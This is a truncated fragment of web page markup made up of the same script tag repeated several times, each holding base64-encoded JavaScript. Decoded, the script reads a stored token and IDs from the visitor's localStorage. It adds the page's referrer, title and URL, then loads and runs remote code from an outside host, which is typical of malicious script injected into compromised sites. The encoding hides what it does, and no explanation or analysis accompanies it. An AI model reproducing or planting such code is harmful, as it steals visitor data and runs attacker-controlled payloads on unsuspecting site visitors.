iSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0